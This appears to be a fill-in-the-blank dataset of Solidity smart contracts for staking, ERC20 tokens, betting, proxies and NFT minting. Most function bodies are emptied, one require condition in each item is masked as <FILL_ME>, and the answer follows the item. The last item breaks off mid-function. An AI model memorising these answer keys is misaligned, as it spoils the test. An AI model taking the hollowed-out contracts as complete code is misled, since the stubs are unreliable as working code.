function getNakedRewardBySpecFromCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getNakedRewardBySpecDisregardCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getBonusFromTimestamp(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
function getBonusFromTimestampDisregardCreate(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
/** === View === */
function getBonus(address staker, uint256 spec)
external
view
returns(uint256) {
}
function getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
external
view
returns (uint256) {
}
function getStakedKongsOfUserBySpec(address staker, uint256 spec)
external
view
returns (uint256[] memory) {
}
/** === Owner === */
function setAkcTribeManager(address newManager)
external
onlyOwner {
}
function setStakeAmountToBonus(uint256 stakeAmount, uint256 bonus)
external
onlyOwner {
}
function setStakeCap(uint256 newCap)
external
onlyOwner {
}
function setCapsuleRate(uint256 newRate)
external
onlyOwner {
}
function akcNFTApproveForAll(address approved, bool isApproved)
external
onlyOwner {
}
function withdrawEth(uint256 percentage, address _to)
external
onlyOwner {
}
function withdrawERC20(
uint256 percentage,
address _erc20Address,
address _to
) external onlyOwner {
}
function withdrawStuckKong(uint256 kongId, address _to) external onlyOwner {
}
}
| akc.ownerOf(kong)==staker,"Kong not transfered to staker" | 418,073 | akc.ownerOf(kong)==staker |
"CORE DOES NOT OWN KONG" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./interfaces/IAKCCore.sol";
contract AKCCoreMultiStakeExtension is Ownable {
/**
* @dev Interfaces
*/
IAKCCore public akcCore;
IERC721 public akc;
/**
* @dev Addresses
*/
address public manager;
/**
* @dev Staking Logic
*/
/// @dev Pack owner and spec in single uint256 to save gas
/// - first 160 bits is address
/// - last 96 bits is spec
mapping(uint256 => uint256) public kongToStaker;
/// @dev Save staking data in a single uint256
/// - first 64 bits are the timestamp
/// - second 64 bits are the amount
/// - third 128 bits are the pending bonus
mapping(address => mapping(uint256 => uint256)) public userToStakeData;
/// @dev Denomination is in thousands
mapping(uint256 => uint256) public stakeAmountToBonus;
/// @dev Number to use for bonus when
/// staked amount is greater than this number.
uint256 public stakeCap = 6;
uint256 public capsuleRate = 2 ether;
uint256 public maxCapsules = 20;
mapping(address => mapping(uint256 => uint256)) public userToTotalBonus;
/**
* @dev Modifiers
*/
modifier onlyManager() {
}
constructor(
address _akcCore,
address _akc
) {
}
/** === Stake Logic === */
function _getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
internal
view
returns (uint256) {
}
/**
* @dev Get bonus from last stake / claim
* to block.timestamp for spec based on staked amount.
*/
function _getBonus(address staker, uint256 spec)
internal
view
returns (uint256) {
}
function addToBonus(address staker, uint256 spec, uint256 bonus)
external
onlyManager {
}
/**
* @dev Returns pending bonus
* and resets stake data with current time
* and zero bonus.
*/
function liquidateBonus(address staker, uint256 spec)
external
onlyManager
returns (uint256) {
}
/**
* @dev Stakes a new kong in a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function stake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
}
/**
* @dev Unstakes a kong from a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function unstake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
}
/** === Getters === */
// get stake data internal
function _getStakeTimeStampFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakeAmountFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakePendingBonusFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getUpdatedStakeData(uint256 newTimeStamp, uint256 newAmount, uint256 newBonus)
internal
pure
returns (uint256) {
}
// get kong stake data internal
function _getAddressFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (address) {
}
function _getSpecFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (uint256) {
}
function _getKongStakeData(address staker, uint256 spec)
internal
pure
returns (uint256) {
}
// get stake data external
function getStakeTimeStampFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakeAmountFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakePendingBonusFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
// get kong stake data external
function getAddressFromKongStakeData(uint256 kongStakeData)
external
pure
returns (address) {
}
function getSpecFromKongStakeData(uint256 kongStakeData)
external
pure
returns (uint256) {
}
/** === View Bonus === */
function getNakedRewardBySpecFromCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getNakedRewardBySpecDisregardCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getBonusFromTimestamp(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
function getBonusFromTimestampDisregardCreate(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
/** === View === */
function getBonus(address staker, uint256 spec)
external
view
returns(uint256) {
}
function getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
external
view
returns (uint256) {
}
function getStakedKongsOfUserBySpec(address staker, uint256 spec)
external
view
returns (uint256[] memory) {
}
/** === Owner === */
function setAkcTribeManager(address newManager)
external
onlyOwner {
}
function setStakeAmountToBonus(uint256 stakeAmount, uint256 bonus)
external
onlyOwner {
}
function setStakeCap(uint256 newCap)
external
onlyOwner {
}
function setCapsuleRate(uint256 newRate)
external
onlyOwner {
}
function akcNFTApproveForAll(address approved, bool isApproved)
external
onlyOwner {
}
function withdrawEth(uint256 percentage, address _to)
external
onlyOwner {
}
function withdrawERC20(
uint256 percentage,
address _erc20Address,
address _to
) external onlyOwner {
}
function withdrawStuckKong(uint256 kongId, address _to) external onlyOwner {
require(<FILL_ME>)
akc.transferFrom(address(this), _to, kongId);
}
}
| akc.ownerOf(kongId)==address(this),"CORE DOES NOT OWN KONG" | 418,073 | akc.ownerOf(kongId)==address(this) |
"Trading not live." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract ERC20Contract is ERC20, ERC20Burnable, Ownable {
mapping (address => bool) private isExcludedFromFee;
mapping(address => uint256) private holderLastTransferTimestamp;
uint256 public buyTax;
uint256 public sellTax;
uint256 public burnPercent;
uint256 public lpPercent;
uint256 public maxSupply;
uint256 public maxTxAmount;
uint256 public maxWalletSize;
uint256 public taxSwapThreshold;
uint256 public maxTaxSwap;
bool public transferDelayEnabled = true;
bool public tradingEnabled = false;
address[] public payees;
uint256[] public shares;
address public creator;
IUniswapV2Router02 public swapRouter;
address public swapPair;
struct Fees {
uint16 buyTax;
uint16 sellTax;
uint16 burnPercent;
uint16 lpPercent;
}
constructor(
string memory _name,
string memory _symbol,
Fees memory _fees,
uint256 _maxSupply,
uint16 _devShare,
address _devAddress,
address[] memory _payees,
uint16[] memory _shares,
address _owner
) ERC20(_name, _symbol) {
}
function removeLimits() external onlyOwner {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(<FILL_ME>)
uint256 toSend = 0;
uint256 burnAmount = 0;
uint256 lpAmount = 0;
uint256 lpTokens = 0;
uint256 lpETH = 0;
uint256 balance = 0;
uint256 taxAmount = 0;
bool success;
if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {
if (transferDelayEnabled && to != address(swapRouter) && to != address(swapPair)) {
require(holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
holderLastTransferTimestamp[tx.origin] = block.number;
}
if (from == swapPair && to != address(swapRouter) && buyTax > 0) {
require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= maxWalletSize, "Exceeds the _maxWalletSize.");
taxAmount = (amount / 100) * buyTax;
}
if (to == swapPair && sellTax > 0) {
taxAmount = (amount / 100) * sellTax;
}
if (taxAmount > 0) {
super._transfer(from, address(this), taxAmount);
}
uint256 tokenBalance = min(balanceOf(address(this)), maxTaxSwap);
if (to == swapPair && tokenBalance > taxSwapThreshold) {
if (lpPercent > 0) lpAmount = (tokenBalance / 100) * lpPercent;
if (lpAmount > 0) lpTokens = lpAmount / 2;
if (burnPercent > 0) burnAmount = (tokenBalance / 100) * burnPercent;
uint256 tokensToSwap = tokenBalance - burnAmount - lpTokens;
if (tokensToSwap > 0) {
swapTokensForEth(tokensToSwap);
balance = address(this).balance;
lpETH = balance * (lpTokens / tokensToSwap);
if (lpETH > 0 && lpTokens > 0) addLiquidity(lpTokens, lpETH);
balance = address(this).balance;
if (balance > 0) {
for (uint256 i = 0; i < payees.length; i++) {
toSend = min((balance / 100) * shares[i], address(this).balance);
(success,) = payable(payees[i]).call{value: toSend}("");
}
}
}
if (burnAmount > 0) super._burn(address(this), min(burnAmount, balanceOf(address(this))));
}
}
super._transfer(from, to, amount - taxAmount);
}
function addLiquidity(uint256 _tokenAmount, uint256 _ethAmount) private {
}
function createPair() external onlyOwner() {
}
function openTrading() external onlyOwner() {
}
function swapTokensForEth(uint256 _tokenAmount) private {
}
function manualSwap() external {
}
receive() external payable {}
}
| tradingEnabled||from==owner(),"Trading not live." | 418,103 | tradingEnabled||from==owner() |
"Owner has too much!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/*
/$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$
| $$_____//$$__ $$| $$ | $$ /$$__ $$| $$ /$ | $$
| $$ | $$ \ $$| $$ | $$ | $$ \ $$| $$ /$$$| $$
| $$$$$ | $$ | $$| $$ | $$ | $$ | $$| $$/$$ $$ $$
| $$__/ | $$ | $$| $$ | $$ | $$ | $$| $$$$_ $$$$
| $$ | $$ | $$| $$ | $$ | $$ | $$| $$$/ \ $$$
| $$ | $$$$$$/| $$$$$$$$| $$$$$$$$| $$$$$$/| $$/ \ $$
|__/ \______/ |________/|________/ \______/ |__/ \__/
/$$
|__/
/$$$$$$ /$$$$$$
/$$__ $$ /$$__ $$
| $$ \__/| $$ \__/
| $$ /$$$$| $$ /$$$$
| $$|_ $$| $$|_ $$
| $$ \ $$| $$ \ $$
| $$$$$$/| $$$$$$/
\______/ \______/
*/
contract FollowGGToken is ERC20, Ownable {
uint256 public whaleAmount;
uint256 public taxRateBuy;
uint256 public taxRateSell;
address public taxDestination;
address public tradingPair;
constructor() ERC20("Follow.gg Token", "FOLLOW") {
}
function setWhaleAmount(uint256 _whaleAmount) external onlyOwner {
}
function setBuyTaxRate(uint256 _taxRate) external onlyOwner {
}
function setSellTaxRate(uint256 _taxRate) external onlyOwner {
}
function setTaxDestination(address _taxDestination) external onlyOwner {
}
function setTradingPair(address _tradingPair) external onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal virtual override
{
super._beforeTokenTransfer(from, to, amount);
if (! (tx.origin == owner() || to == tradingPair) ) {
require(<FILL_ME>)
}
}
function _transfer(address from, address to, uint256 amount) internal virtual override {
}
}
| balanceOf(to)+amount<=whaleAmount,"Owner has too much!" | 418,174 | balanceOf(to)+amount<=whaleAmount |
'too small' | pragma solidity ^0.8.7;
import "./vdToken.sol";
import "./VRFCoordinatorV2Interface.sol";
import "./VRFConsumerBaseV2.sol";
contract Bet is VRFConsumerBaseV2 {
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
GamingToken public token;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash = 0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 1000000;
uint16 requestConfirmations = 3;
uint256 public vRes ;
uint public Vset ;
uint32 numWords = 1;
uint256[] public s_randomWords;
uint256 public s_requestId;
uint256 public maxbet ;
mapping(uint256 => address) private _wagerInit;
mapping(address => uint256) private _wagerInitAmount;
mapping(uint256 => uint16) private Pset ;
mapping(address => uint16) public LatestRes;
address public burnaddy = 0x000000000000000000000000000000000000dEaD ;
address s_owner;
address public creator = 0x578ABa51aA4a6ce5c1A055882f56849c2C4c5aDa ;
constructor(uint64 subscriptionId,GamingToken _token) VRFConsumerBaseV2(vrfCoordinator) {
}
function WithdrawTokens(uint256 _amount) public{
}
function MAXbet(uint256 _maxbet) public {
}
function requestRandomWords(uint256 _amount, uint16 _pset) external {
require(_amount < maxbet*10**9);
require(<FILL_ME>)
require(token.balanceOf(msg.sender) >= _amount);
require(token.balanceOf(address(this)) >= 6*_amount);
token.transferFrom(msg.sender, address(this), _amount);
s_requestId = COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
_wagerInit[s_requestId] = msg.sender;
_wagerInitAmount[msg.sender] = _amount;
Pset[s_requestId] = _pset ;
LatestRes[msg.sender] = 0 ;
}
function fulfillRandomWords (
uint256 s_requestId, /* requestId */
uint256[] memory randomWords
) internal override {
}
function _settleBet(uint256 requestId, uint256 randomNumber) private {
}
}
| (_amount/10000)*10000==_amount,'too small' | 418,242 | (_amount/10000)*10000==_amount |
null | pragma solidity ^0.8.7;
import "./vdToken.sol";
import "./VRFCoordinatorV2Interface.sol";
import "./VRFConsumerBaseV2.sol";
contract Bet is VRFConsumerBaseV2 {
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
GamingToken public token;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash = 0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 1000000;
uint16 requestConfirmations = 3;
uint256 public vRes ;
uint public Vset ;
uint32 numWords = 1;
uint256[] public s_randomWords;
uint256 public s_requestId;
uint256 public maxbet ;
mapping(uint256 => address) private _wagerInit;
mapping(address => uint256) private _wagerInitAmount;
mapping(uint256 => uint16) private Pset ;
mapping(address => uint16) public LatestRes;
address public burnaddy = 0x000000000000000000000000000000000000dEaD ;
address s_owner;
address public creator = 0x578ABa51aA4a6ce5c1A055882f56849c2C4c5aDa ;
constructor(uint64 subscriptionId,GamingToken _token) VRFConsumerBaseV2(vrfCoordinator) {
}
function WithdrawTokens(uint256 _amount) public{
}
function MAXbet(uint256 _maxbet) public {
}
function requestRandomWords(uint256 _amount, uint16 _pset) external {
require(_amount < maxbet*10**9);
require((_amount/10000)*10000 == _amount, 'too small');
require(<FILL_ME>)
require(token.balanceOf(address(this)) >= 6*_amount);
token.transferFrom(msg.sender, address(this), _amount);
s_requestId = COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
_wagerInit[s_requestId] = msg.sender;
_wagerInitAmount[msg.sender] = _amount;
Pset[s_requestId] = _pset ;
LatestRes[msg.sender] = 0 ;
}
function fulfillRandomWords (
uint256 s_requestId, /* requestId */
uint256[] memory randomWords
) internal override {
}
function _settleBet(uint256 requestId, uint256 randomNumber) private {
}
}
| token.balanceOf(msg.sender)>=_amount | 418,242 | token.balanceOf(msg.sender)>=_amount |
null | pragma solidity ^0.8.7;
import "./vdToken.sol";
import "./VRFCoordinatorV2Interface.sol";
import "./VRFConsumerBaseV2.sol";
contract Bet is VRFConsumerBaseV2 {
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
GamingToken public token;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
bytes32 keyHash = 0xff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92;
uint32 callbackGasLimit = 1000000;
uint16 requestConfirmations = 3;
uint256 public vRes ;
uint public Vset ;
uint32 numWords = 1;
uint256[] public s_randomWords;
uint256 public s_requestId;
uint256 public maxbet ;
mapping(uint256 => address) private _wagerInit;
mapping(address => uint256) private _wagerInitAmount;
mapping(uint256 => uint16) private Pset ;
mapping(address => uint16) public LatestRes;
address public burnaddy = 0x000000000000000000000000000000000000dEaD ;
address s_owner;
address public creator = 0x578ABa51aA4a6ce5c1A055882f56849c2C4c5aDa ;
constructor(uint64 subscriptionId,GamingToken _token) VRFConsumerBaseV2(vrfCoordinator) {
}
function WithdrawTokens(uint256 _amount) public{
}
function MAXbet(uint256 _maxbet) public {
}
function requestRandomWords(uint256 _amount, uint16 _pset) external {
require(_amount < maxbet*10**9);
require((_amount/10000)*10000 == _amount, 'too small');
require(token.balanceOf(msg.sender) >= _amount);
require(<FILL_ME>)
token.transferFrom(msg.sender, address(this), _amount);
s_requestId = COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
_wagerInit[s_requestId] = msg.sender;
_wagerInitAmount[msg.sender] = _amount;
Pset[s_requestId] = _pset ;
LatestRes[msg.sender] = 0 ;
}
function fulfillRandomWords (
uint256 s_requestId, /* requestId */
uint256[] memory randomWords
) internal override {
}
function _settleBet(uint256 requestId, uint256 randomNumber) private {
}
}
| token.balanceOf(address(this))>=6*_amount | 418,242 | token.balanceOf(address(this))>=6*_amount |
"Can only upgrade to latest Staked CLR token implementation" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol";
import "../interfaces/ICLRDeployer.sol";
contract StakedCLRTokenProxy is TransparentUpgradeableProxy {
/**
* @dev Storage slot with the clrDeployer contract address.
* This is the keccak-256 hash of "eip1967.proxy.clrDeployer" subtracted by 1,
* and is validated in the constructor.
*/
bytes32 private constant _DEPLOYER_SLOT =
0x3d08d612cd86aed0e9677508733085e4cbe15d53bdc770ec5b581bb4e0a721ca;
constructor(
address _logic,
address _proxyAdmin,
address __clrDeployer
) TransparentUpgradeableProxy(_logic, _proxyAdmin, "") {
}
/**
* @dev Returns the address of the clr deployer.
*/
function _clrDeployer()
internal
view
virtual
returns (address clrDeployer)
{
}
/**
* @dev Stores a new address in the clr deployer slot.
*/
function _setCLRDeployer(address clrDeployer) private {
}
function upgradeTo(address _implementation) external override ifAdmin {
require(<FILL_ME>)
_upgradeTo(_implementation);
}
function upgradeToAndCall(address _implementation, bytes calldata data)
external
payable
override
ifAdmin
{
}
}
| ICLRDeployer(_clrDeployer()).sCLRTokenImplementation()==_implementation,"Can only upgrade to latest Staked CLR token implementation" | 418,306 | ICLRDeployer(_clrDeployer()).sCLRTokenImplementation()==_implementation |
"Not authorized to mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DominionXFrameNFT is ERC721, Ownable {
constructor() ERC721("DominionX: Level 2", "DXL2") {}
using Strings for uint256;
string private _baseTokenURI;
bytes32 public merkleRoot;
bool public isMintActive;
mapping(address => bool) public claimed;
/**
* @dev Mint a single token for the connected wallet if the `merkleProof` is valid with the correct `tokenId`
*
* Requirements:
* - merkle proof is valid
* - The user has not already claimed
*/
function mint(uint256 tokenId, bytes32[] calldata merkleProof) public {
require(isMintActive, "Minting is not active");
require(!claimed[msg.sender], "Already claimed");
bytes32 merkleLeaf = _merkleLeafForUserAndTokenId(msg.sender, tokenId);
require(<FILL_ME>)
_mint(msg.sender, tokenId);
claimed[msg.sender] = true;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// onlyOwner functions
function setBaseURI(string memory baseURI) public onlyOwner {
}
function setMerkleRoot(bytes32 root) external onlyOwner {
}
function setIsMintActive(bool active) external onlyOwner {
}
// Internal functions
function _baseURI() internal view virtual override returns (string memory) {
}
function _merkleLeafForUserAndTokenId(address user, uint256 tokenId)
private
pure
returns (bytes32)
{
}
}
| MerkleProof.verify(merkleProof,merkleRoot,merkleLeaf),"Not authorized to mint" | 418,321 | MerkleProof.verify(merkleProof,merkleRoot,merkleLeaf) |
"Ownable: New owner address is not a contract" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
contract Ownable {
address private _owner;
constructor() {
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
}
function isContract(address _addr) private view returns (bool) {
}
function transferOwnership(
address newOwner
) public onlyOwner returns (bool) {
require(<FILL_ME>)
require(_owner != newOwner, "Ownable: The same owner");
_transferOwnership(newOwner);
return true;
}
function owner() public view virtual returns (address) {
}
function _transferOwnership(address newOwner) private {
}
function renounceOwnership() public onlyOwner returns (bool) {
}
}
| isContract(newOwner),"Ownable: New owner address is not a contract" | 418,333 | isContract(newOwner) |
"cooldown" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./Interfaces.sol";
import "@openzeppelin/contracts-0.6/math/SafeMath.sol";
import "@openzeppelin/contracts-0.6/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-0.6/utils/Address.sol";
import "@openzeppelin/contracts-0.6/token/ERC20/SafeERC20.sol";
/**
* @title CrvDepositor
* @author ConvexFinance
* @notice This is the entry point for CRV > cvxCRV wrapping. It accepts CRV, sends to 'staker'
* for depositing into Curves VotingEscrow, and then mints cvxCRV at 1:1 via the 'minter' (cCrv) minus
* the lockIncentive (initially 1%) which is used to basically compensate users who call the `lock` function on Curves
* system (larger depositors would likely want to lock).
*/
contract CrvDepositor{
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public immutable crvBpt;
address public immutable escrow;
uint256 private constant MAXTIME = 4 * 364 * 86400;
uint256 private constant WEEK = 7 * 86400;
uint256 public lockIncentive = 10; //incentive to users who spend gas to lock crvBpt
uint256 public constant FEE_DENOMINATOR = 10000;
address public feeManager;
address public daoOperator;
address public immutable staker;
address public immutable minter;
uint256 public incentiveCrv = 0;
uint256 public unlockTime;
bool public cooldown;
/**
* @param _staker CVX VoterProxy (0x989AEb4d175e16225E39E87d0D97A3360524AD80)
* @param _minter cvxCRV token (0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7)
* @param _crvBpt crvBPT for veCRV deposits
* @param _escrow CRV VotingEscrow (0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2)
*/
constructor(
address _staker,
address _minter,
address _crvBpt,
address _escrow,
address _daoOperator
) public {
}
function setFeeManager(address _feeManager) external {
}
function setDaoOperator(address _daoOperator) external {
}
function setFees(uint256 _lockIncentive) external{
}
function setCooldown(bool _cooldown) external {
}
/**
* @notice Called once to deposit the balance of CRV in this contract to the VotingEscrow
*/
function initialLock() external{
require(<FILL_ME>)
require(msg.sender==feeManager, "!auth");
uint256 vecrv = IERC20(escrow).balanceOf(staker);
if(vecrv == 0){
uint256 unlockAt = block.timestamp + MAXTIME;
uint256 unlockInWeeks = (unlockAt/WEEK)*WEEK;
//release old lock if exists
IStaker(staker).release();
//create new lock
uint256 crvBalanceStaker = IERC20(crvBpt).balanceOf(staker);
IStaker(staker).createLock(crvBalanceStaker, unlockAt);
unlockTime = unlockInWeeks;
}
}
//lock curve
function _lockCurve() internal {
}
/**
* @notice Locks the balance of CRV, and gives out an incentive to the caller
*/
function lockCurve() external {
}
/**
* @notice Deposit crvBpt for cvxCrv on behalf of another user
* @dev See depositFor(address, uint256, bool, address)
*/
function deposit(uint256 _amount, bool _lock, address _stakeAddress) public {
}
/**
* @notice Deposit crvBpt for cvxCrv
* @dev Can lock immediately or defer locking to someone else by paying a fee.
* while users can choose to lock or defer, this is mostly in place so that
* the cvx reward contract isnt costly to claim rewards.
* @param _amount Units of CRV to deposit
* @param _lock Lock now? or pay ~1% to the locker
* @param _stakeAddress Stake in cvxCrv staking?
*/
function depositFor(address to, uint256 _amount, bool _lock, address _stakeAddress) public {
}
function deposit(uint256 _amount, bool _lock) external {
}
function depositAll(bool _lock, address _stakeAddress) external{
}
}
| !cooldown,"cooldown" | 418,387 | !cooldown |
"captain already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract WantedCaptains is Context, Ownable, IERC721Receiver {
IERC721 mainContract;
mapping(uint256 => bytes32[]) private captainHashes;
mapping(uint256 => mapping(bytes32 => bool)) private captainValidHashes;
mapping(uint256 => bool) public claimedCaptains;
constructor() {
}
function setMainContract(address mainContractAddress) public onlyOwner {
}
function addCaptainHash(uint248 captainId, uint8 groupId, bytes32 hash) private {
}
function getCaptainHashes(uint248 captainId, uint8 groupId) public view returns (bytes32[] memory) {
}
function isValidSecret(uint248 captainId, uint8 groupId, uint256 tokenId, bytes32 secret) public view returns (bool) {
